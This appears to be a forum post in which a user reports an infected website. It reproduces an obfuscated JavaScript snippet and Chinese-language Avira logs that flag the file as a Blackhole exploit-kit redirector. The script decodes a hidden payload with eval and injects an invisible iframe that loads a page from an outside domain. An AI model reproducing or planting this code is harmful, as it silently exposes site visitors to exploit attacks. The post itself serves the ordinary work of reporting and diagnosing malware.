http://jazzopseries.com/contact.htm

fireold

1. /*/0242d5*/
   
2. 
   
3. /*0242d5*/
   
4. p = parseInt;
   
5. ss = (123) ? String.fromCharCode : 0;
   
6. asgq = "28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!6f!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!6f!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!63!6f!75!6e!74!7@!73!65!63!75!72!6@!74!7@!70!6f!6c!6@!63!65!2e!63!6f!6d!2f!63!73!73!6@!6d!61!67!65!73!2f!63!6e!74!2e!70!68!70!27!3b!d!a!20!20!20!20!6f!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!6f!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!6f!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6f!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6f!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6f!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!6f!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!6f!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!6f!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!6f!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g, "9").split("!");
   
7. try {
   
8.     document.body &= 0.1
   
9. } catch (gdsgsdg) {
   
10.     zz = 3;
    
11.     dbshre = 197;
    
12.     if (dbshre) {
    
13.         vfvwe = 0;
    
14.         try {
    
15.             document;
    
16.         } catch (agdsg) {
    
17.             vfvwe = 1;
    
18.         }
    
19.         if (!vfvwe) {
    
20.             e = eval;
    
21.         }
    
22.         s = "";
    
23.         if (zz) for (i = 0; i - 467 != 0; i++) {
    
24.             if (window.document) s += ss(p(asgq[i], 16));
    
25.         }
    
26.         if (window.document) e(s);
    
27.     }
    
28. } /*/0242d5*/

复制代码

Avira

2013/11/27 下午 06:23 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        801
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/11/27 下午 06:23 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\roe[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CZ.3' [virus]
      已採取動作：
      發生錯誤，檔案未刪除。錯誤識別碼：26004.
      找不到來源檔案。.
      嘗試使用 ARK 程式庫執行動作。.
      檔案無法複製至隔離區！.
      檔案不存在！.

2013/11/27 下午 06:23 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\roe[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.CZ.3' [virus]
      已採取動作：
      檔案會移動至 '57166b1b.qua' 名稱底下的隔離區目錄。.

2013/11/27 下午 06:23 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        802
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/11/27 下午 06:23 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\roe[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CZ.3 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/27 下午 06:23 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\roe[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CZ.3 [virus]'
      執行的動作：拒絕存取

2013/11/27 下午 06:23 [Web Protection] 發現惡意程式碼
      從 URL "http://jazzopseries.com/index_htm_files/roe.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.CZ.3' [virus]。
      已採取動作：已略過

fs is